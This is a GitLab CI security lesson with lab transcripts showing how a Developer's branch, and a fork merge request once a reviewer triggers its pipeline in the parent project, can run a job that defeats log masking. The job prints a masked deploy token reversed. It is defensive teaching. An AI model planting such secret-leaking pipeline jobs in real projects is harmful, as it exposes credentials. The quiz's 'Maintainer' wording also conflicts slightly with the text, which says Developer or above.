Threat-model your pipeline

What a branch push, a fork and one button can reach.

Intermediate14 min · lesson 6 of 17
Lesson files
The scripts, test data and local test servers this lesson uses, exactly as they ran on the lab machine (18 files, 6 KB): threat.tar.gz. The lab VM shares no folders with your computer, so fetch them inside the VM: cd ~/lab && curl -fsSLO https://secopslog.com/lab-files/ci-gitlab/threat.tar.gz && tar -xzf threat.tar.gz, which creates ~/lab/threat/. SHA-256: 6d83e8f97631e039019e04badab6bd52e8f8e7bff4c84eb4f501992d11fd327a

Most attacks on CI/CD don't break into GitLab. They use it as designed: someone who may push a branch changes the pipeline file, and the pipeline runs their code with whatever it can reach. The industry name for this is poisoned pipeline execution, and the first step in defending against it is knowing exactly who can run code in your pipelines, and with which secrets.

Who can run code in a pipeline?

WhoHow their code runsDefault reach
MaintainerPushes to protected branches and tagsEverything, including protected variables
DeveloperPushes a branch with a changed .gitlab-ci.ymlUnprotected variables, runners that accept unprotected refs
Outside contributorOpens a merge request from a forkTheir fork's own variables and runners
Parent-project member (Developer or above) reviewing a forkClicks "Run pipeline" for a fork merge requestThe parent project's pipeline, running the fork's code, with a CI_JOB_TOKEN that acts with the reviewer's permissions
Owner of an included templatePushes to the template projectEvery pipeline that includes it from a moving ref

This lab tries the Developer, fork and Maintainer-review paths on purpose. Three terms come first, each with its own lesson later. A *masked* variable is replaced by [MASKED] in job logs. A *protected* variable is given only to pipelines on protected branches and tags, which by default only Maintainers can push. And roles are numbered: 30 is Developer, who can push branches, and 40 is Maintainer, who can change settings and push to protected branches.

The project is public, has one masked variable (DEPLOY_TOKEN) and one masked and protected variable (PROD_TOKEN). Three helper scripts handle users: ./user.sh NAME creates a user with an API token, ./member.sh app NAME 30 adds them to the project as a Developer and waits until GitLab applies it, and ./as.sh NAME COMMAND runs a command with that user's token. dev is a Developer, and outsider has no role in the project at all.

ubuntu@secopslog-cicd:~/lab/threat · GitLab 19.5.3
$ ./up.sh
runner lab-runner: online (tags: lab,docker) GitLab 19.5.3 is up on http://127.0.0.1:8929
$ ./seed.sh app app/ && ./gl.sh /projects/root%2Fapp -X PUT -d visibility=public -o /dev/null && ./gl.sh /projects/root%2Fapp/variables -X POST -d key=DEPLOY_TOKEN -d value=deploy-0123456789abcdef -d masked=true -o /dev/null && ./gl.sh /projects/root%2Fapp/variables -X POST -d key=PROD_TOKEN -d value=prod-fedcba9876543210 -d masked=true -d protected=true -o /dev/null && ./gl.sh /projects/root%2Fapp/variables | jq -r '.[] | "\(.key) masked=\(.masked) protected=\(.protected)"'
pushed app: 1d112d6 first commit DEPLOY_TOKEN masked=true protected=false PROD_TOKEN masked=true protected=true
$ ./user.sh dev && ./user.sh outsider && ./member.sh app dev 30
user dev created (id 2), token stored in .env user outsider created (id 3), token stored in .env dev has access level 30 on root/app

A developer edits the pipeline on a branch

dev replaces the pipeline on a feature branch with one job that only reports what it can see:

evil/.gitlab-ci.yml
# What someone who can change this file can make a job do. The variables are masked in the log,
# but a job holds the real values and can transform them.
workflow:
rules:
- if: $CI_PIPELINE_SOURCE == "merge_request_event"
- if: $CI_COMMIT_BRANCH
leak:
image: secopslog-py:3.15
script:
- echo "DEPLOY_TOKEN=$DEPLOY_TOKEN"
- echo "reversed=$(echo "$DEPLOY_TOKEN" | rev)"
- echo "PROD_TOKEN is ${#PROD_TOKEN} characters"
- echo "running in $CI_PROJECT_PATH for $CI_PIPELINE_SOURCE on ref $CI_COMMIT_REF_NAME (protected=$CI_COMMIT_REF_PROTECTED)"
ubuntu@secopslog-cicd:~/lab/threat · GitLab 19.5.3
$ cp evil/.gitlab-ci.yml app/ && ./as.sh dev ./commit.sh app/ "tweak ci" feature/tweak && ./pipeline.sh app/
pushed: 62d2750 tweak ci to feature/tweak --- job leak (test): success $ echo "DEPLOY_TOKEN=$DEPLOY_TOKEN" DEPLOY_TOKEN=[MASKED] $ echo "reversed=$(echo "$DEPLOY_TOKEN" | rev)" reversed=fedcba9876543210-yolped $ echo "PROD_TOKEN is ${#PROD_TOKEN} characters" PROD_TOKEN is 0 characters $ echo "running in $CI_PROJECT_PATH for $CI_PIPELINE_SOURCE on ref $CI_COMMIT_REF_NAME (protected=$CI_COMMIT_REF_PROTECTED)" running in root/app for push on ref feature/tweak (protected=false) pipeline #2: success

DEPLOY_TOKEN was masked in the plain line, and the reversed line printed fedcba9876543210-yolped, the token backwards. dev now has a token they were never given. PROD_TOKEN was empty, because it is protected and feature/tweak is not. The last line confirms the setting: project root/app, a push pipeline on a ref with protected=false.

A merge request from a fork

outsider forks the project, pushes the same file to a branch of the fork, and opens a merge request into root/app:

ubuntu@secopslog-cicd:~/lab/threat · GitLab 19.5.3
$ ./as.sh outsider ./gl.sh /projects/root%2Fapp/fork -X POST -o /dev/null && for i in $(seq 30); do [ "$(./gl.sh /projects/outsider%2Fapp | jq -r .import_status)" = finished ] && break; sleep 1; done && rm -rf fork && cp -r app fork && git -C fork remote set-url origin http://127.0.0.1:8929/outsider/app.git && echo '# typo fixed' >> fork/calc.py && ./as.sh outsider ./commit.sh fork/ 'helpful change' fix/typo && ./as.sh outsider ./gl.sh '/projects/outsider%2Fapp/merge_requests' -X POST -d source_branch=fix/typo -d target_branch=main -d target_project_id=$(./gl.sh /projects/root%2Fapp | jq .id) -d 'title=Fix a typo' | jq -r '"MR !\(.iid) from \(.source_project_id) into \(.target_project_id)"'
pushed: bb9677f helpful change to fix/typo MR !1 from 2 into 1
$ sleep 5; ./pipeline.sh fork/
--- job leak (test): success $ echo "DEPLOY_TOKEN=$DEPLOY_TOKEN" DEPLOY_TOKEN= $ echo "reversed=$(echo "$DEPLOY_TOKEN" | rev)" reversed= $ echo "PROD_TOKEN is ${#PROD_TOKEN} characters" PROD_TOKEN is 0 characters $ echo "running in $CI_PROJECT_PATH for $CI_PIPELINE_SOURCE on ref $CI_COMMIT_REF_NAME (protected=$CI_COMMIT_REF_PROTECTED)" running in outsider/app for merge_request_event on ref fix/typo (protected=false) pipeline #4: success

The fork also ran a branch pipeline for the push, which is why the merge request pipeline is #4. It ran in outsider/app, the fork, as a merge_request_event. Both tokens were empty. The fork is a separate project with its own variables, and root/app's settings don't travel with the code. The job did run on the lab's instance runner, which takes jobs from every project, so the fork owner still ran code on your infrastructure.

One button that changes everything

A reviewer in the parent project wants its pipeline to run on the merge request, perhaps because the parent has the test database. Any member who may run pipelines, Developer or above, can do that with the "Run pipeline" button in the merge request, which shows a warning first, or through the API, which doesn't. The lab uses the API as root:

ubuntu@secopslog-cicd:~/lab/threat · GitLab 19.5.3
$ ./gl.sh /projects/$(./gl.sh /projects/root%2Fapp | jq .id)/merge_requests/1/pipelines -X POST | jq -r '"pipeline #\(.id) in project \(.project_id), source=\(.source)"' && sleep 3 && PROJECT=root/app SHA=$(git -C fork rev-parse HEAD) ./pipeline.sh fork/
pipeline #5 in project 1, source=merge_request_event --- job leak (test): success $ echo "DEPLOY_TOKEN=$DEPLOY_TOKEN" DEPLOY_TOKEN=[MASKED] $ echo "reversed=$(echo "$DEPLOY_TOKEN" | rev)" reversed=fedcba9876543210-yolped $ echo "PROD_TOKEN is ${#PROD_TOKEN} characters" PROD_TOKEN is 0 characters $ echo "running in $CI_PROJECT_PATH for $CI_PIPELINE_SOURCE on ref $CI_COMMIT_REF_NAME (protected=$CI_COMMIT_REF_PROTECTED)" running in root/app for merge_request_event on ref fix/typo (protected=false) pipeline #5: success

Same commit, same job, different project: the pipeline ran in project 1, root/app, and the reversed DEPLOY_TOKEN came out in full. outsider, who has no role in the project, wrote the code that printed it. PROD_TOKEN stayed empty, because GitLab never gives protected variables to a pipeline for a merge request from a fork. The unprotected DEPLOY_TOKEN is the one that leaked.

Watch out
Before running a fork's pipeline in the parent project, read the whole diff, including .gitlab-ci.yml, any file it includes, and any script a job calls. The pipeline will run that code with the parent's unprotected variables and on the parent's runners. If you aren't sure, don't press the button, and keep long-lived secrets in protected variables or, better, out of GitLab altogether. Two instance settings matter on self-managed GitLab: open sign-up lets any stranger create an account and fork public projects onto your instance runners, and public projects show job logs to everyone by default, so dev's reversed token was readable by anyone who could open the project.

What to do about it

There's no single fix, because the problem is who may change code that runs. The next lessons each close one path. Protected branches and tags decide who may change the refs that get secrets. Protected and hidden variables keep secrets away from unprotected refs and from the settings page. Separate runners keep untrusted jobs away from trusted machines. And ID tokens replace stored secrets with credentials that expire.

Hands-on

Make DEPLOY_TOKEN protected with ./gl.sh /projects/root%2Fapp/variables/DEPLOY_TOKEN -X PUT -d protected=true, then push the leak job again as dev on a new branch: git -C app checkout feature/tweak, change any file (for example echo '# again' >> app/calc.py, since commit.sh needs something to commit), and run ./as.sh dev ./commit.sh app/ "try again" feature/again and ./pipeline.sh app/. What does it print now? Finish with ./down.sh.

What you should see: the API confirms "masked":true,"protected":true, and the job on feature/again prints DEPLOY_TOKEN= and reversed= with nothing after them. No masking was needed, because the value was never sent to the job. Protection works by not handing the secret over at all, which no change to .gitlab-ci.yml on a branch can undo.

Remember

Anyone who can push a branch can run code in your pipeline. Assume every unprotected variable is readable by every Developer, and treat running a fork's pipeline in the parent project as running a stranger's code with your secrets.

Quick check
01A Developer cannot push to main, but can push branches. A masked, unprotected variable holds a cloud key. Can the Developer get the key?
Incorrect — Masking only rewrites the log. The job has the value.
Incorrect — Unprotected variables reach every branch.
Correct — The job can print it transformed or send it out. The lab job printed the reversed value from a feature branch.
Incorrect — Branch pipelines run without approval.
02An outside contributor opens a merge request from a fork. By default, where does its pipeline run?
Correct — It also uses the runners available to the fork. The lab's fork pipeline ran in outsider/app and saw none of the parent's variables.
Incorrect — That needs a parent Maintainer to run it there explicitly.
Incorrect — Fork pipelines run in the fork without approval.
Incorrect — Pipelines always run on runners.
03What is the main risk when a Maintainer runs a fork merge request's pipeline in the parent project?
Incorrect — Running a pipeline does not merge anything.
Incorrect — Nothing is copied. The code comes to the parent instead.
Incorrect — Roles do not change when a pipeline runs.
Correct — It gets the parent's unprotected variables and its runners. Read the whole diff first, including CI files and scripts.

Related